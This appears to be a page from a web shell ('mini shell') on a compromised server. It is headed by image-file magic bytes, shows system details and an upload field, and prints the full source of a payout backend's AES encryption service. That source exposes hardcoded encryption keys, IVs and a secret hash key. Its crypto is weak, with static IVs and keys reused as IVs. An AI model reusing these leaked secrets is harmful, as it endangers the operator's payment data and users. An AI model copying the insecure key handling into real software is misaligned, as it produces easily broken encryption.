ÿØÿà JFIF  H H ÿÛ C   GIF89; Eú tiket mi chék chéúfetál .

Eú tiket mi chék chéúfetál .

System: Linux srv913213 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64

Current Path : /var/www/talentgenesis_admin_backend/src/aesEncrypt/
Upload File :
Current File : /var/www/talentgenesis_admin_backend/src/aesEncrypt/aes-service.ts

import { Injectable } from '@nestjs/common';
import * as CryptoJS from 'crypto-js';
import { createHash, Cipher, createCipheriv, createDecipheriv, createHmac } from 'crypto';



let key = "5TGB&YHN7UJM(IK<5TGB&YHN7UJM(IK<";
let iv = "!QAZ2WSX#EDC4RFV"


@Injectable()
export class CryptoService {
  private readonly secretKey = 'Payout_project_Encrypt';
  private readonly secretKey1 = '32e90259334cf6d36880df8d2ef9c6188e0fe598fac306be8dcf4642bb57417b';



  newencrypt(ciphertext: any): any {
    let _key = CryptoJS.enc.Utf8.parse(key);
    let _iv = CryptoJS.enc.Utf8.parse(iv);
    let encryptData = CryptoJS.AES.encrypt(
      ciphertext, _key, {
      keySize: 128 / 8,
      iv: _iv,
      mode: CryptoJS.mode.CBC,
      padding: CryptoJS.pad.Pkcs7
    }).toString();
    return encryptData ? encryptData : ciphertext;
  }

  newdecrypt(ciphertext: any): any {
    
    let _key = CryptoJS.enc.Utf8.parse(key);
    let _iv = CryptoJS.enc.Utf8.parse(iv);
    let decryptedBytes = CryptoJS.AES.decrypt(ciphertext, _key, {
      keySize: 128 / 8,
      iv: _iv,
      mode: CryptoJS.mode.CBC,
      padding: CryptoJS.pad.Pkcs7
    });

    let decryptData = decryptedBytes.toString(CryptoJS.enc.Utf8);

    if (decryptedBytes.sigBytes > 0) {
      return decryptData;
    } else {
      return ciphertext;
    }
  }

  newDecrypt(ciphertext: any): any {
    let _key = CryptoJS.enc.Utf8.parse(key);
    let _iv = CryptoJS.enc.Utf8.parse(iv);
    let decryptData = CryptoJS.AES.decrypt(
      JSON.stringify(ciphertext), _key, {
      keySize: 128 / 8,
      iv: _iv,
      mode: CryptoJS.mode.CBC,
      padding: CryptoJS.pad.Pkcs7
    }).toString(CryptoJS.enc.Utf8);
    return decryptData ? decryptData : ciphertext;
  }


  // pennyDropEnc(value: string, password: string) {
  //   try {
  //     const key = Buffer.from(password.substring(0, 32), 'utf-8');
  //     const iv = Buffer.from(password.substring(0, 16), 'utf-8');
  //     const cipher = createCipheriv('aes-256-cbc', key, iv);
  //     let encrypted = cipher.update(value, 'utf8', 'base64');
  //     encrypted += cipher.final('base64');
  //     return encrypted;
  //   } catch (ex) {
  //     console.error(ex);
  //     return null;
  //   }
  // }

  // pennyDropDec(encryptedValue:string, password:string) {
  //   try {
  //     const key = Buffer.from(password.substring(0, 32), 'utf-8');
  //     const iv = Buffer.from(password.substring(0, 16), 'utf-8');
  //     const decipher = createDecipheriv('aes-256-cbc', key, iv);
  //     let decrypted = decipher.update(encryptedValue, 'base64', 'utf8');
  //     decrypted += decipher.final('utf8');
  //     return decrypted;
  //   } catch (ex) {
  //     console.error(ex);
  //     return null;
  //   }
  // }


  sampleEncrypt(ciphertext: any): any {

    // const cipherText = CryptoJS.AES.encrypt(text, this.secretKey1).toString();
    // return cipherText;
    // const encrypted = CryptoJS.AES.encrypt(text, this.secretKey1);
    // const encodedCipherText = CryptoJS.enc.Base64.stringify(encrypted.ciphertext);
    // return encodedCipherText;


    // try {
    //   const _key = CryptoJS.enc.Utf8.parse("32e90259334cf6d36880df8d2ef9c6188e0fe598fac306be8dcf4642bb57417b".substring(0, 32));
    //   const _iv = CryptoJS.enc.Utf8.parse("32e90259334cf6d36880df8d2ef9c6188e0fe598fac306be8dcf4642bb57417b".substring(0, 16));
    //   const encrypted = CryptoJS.AES.encrypt(ciphertext, _key, {
    //     iv: _iv,
    //     mode: CryptoJS.mode.CBC,
    //     padding: CryptoJS.pad.Pkcs7,
    //   });
    //   return encrypted.toString(CryptoJS.enc.Utf8);
    // } catch (ex) {
    //   console.error(ex);
    //   return null; 
    // }
    const newValueEnc="oIc3jwrw2P9CPCS4xWpTVpx5uRHX6FNQm5zpyvrvVhiK4Z9a5BO7DvRswDEV9VOQeIvuLA4hDK9BB8DolMVfms6idRb6dAf7tWT4mZDStC1WgqkkKCnMSWq537UpDEa7sRMFNuXHKsWoarZ468uYHIfeXkG8ROQKVFBpKk9WmQ4yJB9qsH2nHjubDvECM0sradM3IxMSW14AMhhDRUcVEpy9Q1fIan23bYiWicqfhQH6HA9DbYwmUupKHcfoza8r"
    const oldEncValue="32e90259334cf6d36880df8d2ef9c6188e0fe598fac306be8dcf4642bb57417b"
    let _key = CryptoJS.enc.Utf8.parse(newValueEnc);
    let _iv = CryptoJS.enc.Utf8.parse(newValueEnc);
    let encryptData = CryptoJS.AES.encrypt(
      ciphertext, _key, {
      keySize: 128 / 8,
      iv: _iv,
      mode: CryptoJS.mode.CBC,
      padding: CryptoJS.pad.Pkcs7
    }).toString();
    return encryptData ? encryptData : ciphertext;

    // const key = Buffer.from("32e90259334cf6d36880df8d2ef9c6188e0fe598fac306be8dcf4642bb57417b".substring(0, 32), 'utf-8');
    // const iv = Buffer.from("32e90259334cf6d36880df8d2ef9c6188e0fe598fac306be8dcf4642bb57417b".substring(0, 16), 'utf-8');
    // const cipher = crypto.createCipheriv('aes-256-cbc', key, iv);

    // let encrypted = cipher.update(ciphertext, 'utf-8', 'base64');
    // encrypted += cipher.final('base64');

    // return encrypted;

    

    // const hash = crypto.createHash('sha256');
    // hash.update(ciphertext);
    // let hashHex = hash.digest('hex');
    // while (hashHex.length < 32) {
    //   hashHex = '0' + hashHex;
    // }
    

    
    // const encodedString = encodeURIComponent(hashHex);
    // console.log(encodedString);

    // return encodedString;



  }

  sampleDecrypt(cipherText: string): string {
    const bytes = CryptoJS.AES.decrypt(cipherText, this.secretKey1);
    const originalText = bytes.toString(CryptoJS.enc.Utf8);
    return originalText;
  }



  numencrypt(ciphertext: any): any {
    let _key = CryptoJS.enc.Utf8.parse(key);
    let _iv = CryptoJS.enc.Utf8.parse(iv);
    let encryptData = CryptoJS.AES.encrypt(
      ciphertext, _key, {
      keySize: 128 / 8,
      iv: _iv,
      mode: CryptoJS.mode.CBC,
      padding: CryptoJS.pad.Pkcs7
    }).toString();
    let numericData = parseInt(encryptData, 10);
    return !isNaN(numericData) ? numericData : ciphertext;

  }
 

  newData(value: string, secretKey: string){
    try {
      const md = createHash('sha256');
      const digestOfPassword = md.update(secretKey, 'utf-8').digest();
      const keyBytes = Buffer.alloc(24);
      digestOfPassword.copy(keyBytes, 0, 0, 24);
      const iv = Buffer.alloc(16);
      digestOfPassword.copy(iv, 0, 0, 16);
      const key = keyBytes;
      const ivParameterSpec = iv;
      const cipher = createCipheriv('aes-192-cbc', key, ivParameterSpec);
      let encrypted = cipher.update(value, 'utf8', 'base64');
      encrypted += cipher.final('base64');
      return encrypted;

      // const md = createHash('sha256');
      // const digestOfPassword = md.update(secretKey, 'utf-8').digest();
      // const keyBytes = Buffer.alloc(32);
      // digestOfPassword.copy(keyBytes, 0, 0, 32); // For AES-256
      // // Extract the IV from the first 16 bytes of the value
      // const iv = Buffer.from(value, 'base64').slice(0, 16);
      // const encryptedValue = Buffer.from(value, 'base64').slice(16);
      // const key = keyBytes;
      // const ivParameterSpec = iv;
      // const decipher = createDecipheriv('aes-256-cbc', key, ivParameterSpec);
      // let decrypted = decipher.update(encryptedValue);
      // decrypted = Buffer.concat([decrypted, decipher.final()]);
      // return decrypted.toString('utf8');


    // const md = createHash('sha256');
    // const digestOfPassword = md.update(secretKey, 'utf8').digest();
    // // Step 2: Extract the keyBytes (first 24 bytes) and iv (next 16 bytes)
    // const keyBytes = digestOfPassword.slice(0, 24);
    // const iv = digestOfPassword.slice(24, 40);
    // // Step 3: Create an AES key and IV
    // const key = Buffer.from(keyBytes);
    // const ivParameterSpec = Buffer.from(iv);
    // // Step 4: Create a Cipher object for encryption
    // const cipher = createCipheriv('aes-192-cbc', key, ivParameterSpec);
    // // Step 5: Encrypt the value
    // let encrypted = cipher.update(value, 'utf8', 'base64');
    // encrypted += cipher.final('base64');
    // // Step 6: Encode the result in Base64 and return
    // return encrypted;






    } catch (ex) {
      throw new Error('Unable to encrypt');
    }

  }


  newDeData(value: string, secretKey: string){
    try {
      const md = createHash('sha256');

      const digestOfPassword = md.update(secretKey, 'utf-8').digest();
      const keyBytes = Buffer.alloc(24);
      digestOfPassword.copy(keyBytes, 0, 0, 24);
      const iv = Buffer.alloc(16);
      digestOfPassword.copy(iv, 0, 0, 16);

      const key = keyBytes;
      const ivParameterSpec = iv;

      const cipher = createDecipheriv('aes-192-cbc', key, ivParameterSpec);

      let decrypted = cipher.update(value, 'base64', 'utf8');
      decrypted += cipher.final('utf8');

      return decrypted;
    } catch (ex) {
      throw new Error('Unable to decrypt');
    }
  }

  pennyLessEnc(value: string, secretKey: string){
    try {
      const md = createHash('sha256');
      const digestOfPassword = md.update(secretKey, 'utf-8').digest();
      const keyBytes = Buffer.alloc(24);
      digestOfPassword.copy(keyBytes, 0, 0, 24);
      const iv = Buffer.alloc(16);
      digestOfPassword.copy(iv, 0, 0, 16);
      const key = keyBytes;
      const ivParameterSpec = iv;
      const cipher = createCipheriv('aes-192-cbc', key, ivParameterSpec);
      let encrypted = cipher.update(value, 'utf8', 'base64');
      encrypted += cipher.final('base64');
      return encrypted;
    } catch (ex) {
      throw new Error('Unable to encrypt');
    }

  }


  pennyLessDec(value: string, secretKey: string){
    try {
      const md = createHash('sha256');
      const digestOfPassword = md.update(secretKey, 'utf-8').digest();
      const keyBytes = Buffer.alloc(24);
      digestOfPassword.copy(keyBytes, 0, 0, 24);
      const iv = Buffer.alloc(16);
      digestOfPassword.copy(iv, 0, 0, 16);
      const key = keyBytes;
      const ivParameterSpec = iv;
      const cipher = createDecipheriv('aes-192-cbc', key, ivParameterSpec);
      let decrypted = cipher.update(value, 'base64', 'utf8');
      decrypted += cipher.final('utf8');
      return decrypted;
    } catch (ex) {
      throw new Error('Unable to decrypt');
    }
  }


  hasKey(data){
    const key = data.clientRefId + data.toAccountNo + data.toIFSC;
    try {
      const md = createHash('sha256');
      const messageDigest = md.update(key, 'utf8').digest();
      const number = BigInt('0x' + Buffer.from(messageDigest).toString('hex'));
      let hashText = number.toString(16);
      while (hashText.length < 32) {
        hashText = '0' + hashText;
      }
      return hashText;
    } catch (ex) {
      throw new Error('Unable to generate hash');
    }
  }


  pennyDropEnc(value: string, password: string){
    try {
      const key = Buffer.from(password.substring(0, 32), 'utf-8');
      const iv = Buffer.from(password.substring(0, 16), 'utf-8');
      const cipher = createCipheriv('aes-256-cbc', key, iv);
      let encrypted = cipher.update(value, 'utf8', 'base64');
      encrypted += cipher.final('base64');
      return encrypted;
    } catch (ex) {
      console.error(ex);
      return null;
    }

   

  // const key = Buffer.from(password.substring(0, 32), 'utf-8');
  // const iv = Buffer.from(password.substring(0, 16), 'utf-8');
  // const cipher = createCipheriv('aes-256-cbc', key, iv);
  // let encrypted = cipher.update(value, 'utf8', 'base64');
  // encrypted += cipher.final('base64');
  
  // // Convert the binary data to a Base64-encoded string
  // const base64Encoded = Buffer.from(encrypted, 'base64').toString('utf-8');

  // return base64Encoded;



  }


  pennyDropDec(encryptedValue:string, password:string) {
    try {
      const key = Buffer.from(password.substring(0, 32), 'utf-8');
      const iv = Buffer.from(password.substring(0, 16), 'utf-8');
      const decipher = createDecipheriv('aes-256-cbc', key, iv);
      let decrypted = decipher.update(encryptedValue, 'base64', 'utf8');
      decrypted += decipher.final('utf8');
      return decrypted;
    } catch (ex) {
      console.error(ex);
      return null;
    }
  }


  payOutEnc(value: string, password: string){
    try {
      const key = Buffer.from(password.substring(0, 32), 'utf-8');
      const iv = Buffer.from(password.substring(0, 16), 'utf-8');
      const cipher = createCipheriv('aes-256-cbc', key, iv);

      let encrypted = cipher.update(value, 'utf-8', 'base64');
      encrypted += cipher.final('base64');

      const encodedString = encodeURIComponent(encrypted);

      return encodedString;


    } catch (ex) {
      console.error(ex);
    }
    return null;
  }


  accountCreateEnc(value: string, key: string){
    try {
      const iv = Buffer.from(key.substring(0, 16), 'utf-8');
      const skeySpec = Buffer.from(key.substring(0, 16), 'utf-8');
      const cipher = createCipheriv('aes-128-cbc', skeySpec, iv);
      let encrypted = cipher.update(value, 'utf-8', 'base64');
      encrypted += cipher.final('base64');
      const encodedString = encodeURIComponent(encrypted);
      return encodedString;
    } catch (ex) {
      console.error(ex);
      return null;
    }
  }

  accountCreateDec(encrypted: string, key: string){
    try {
      const iv = Buffer.from(key.substring(0, 16), 'utf-8');
      const skeySpec = Buffer.from(key.substring(0, 16), 'utf-8');
      const decipher = createDecipheriv('aes-128-cbc', skeySpec, iv);
  
      let decrypted = decipher.update(Buffer.from(encrypted, 'base64'));
      decrypted = Buffer.concat([decrypted, decipher.final()]);
  
      return decrypted.toString('utf-8');
    } catch (ex) {
      console.error(ex);
      return null;
    }
  }


  accountsincsHash(data: string, key: string){
      const hmac = createHmac('sha512', key);
      hmac.update(data);
      return hmac.digest('base64');
    
  }






 





}

xxxxx1.0, XXX xxxx
SPECIMENT MINI SHELL - RECODED FROM PHANTOM GHOST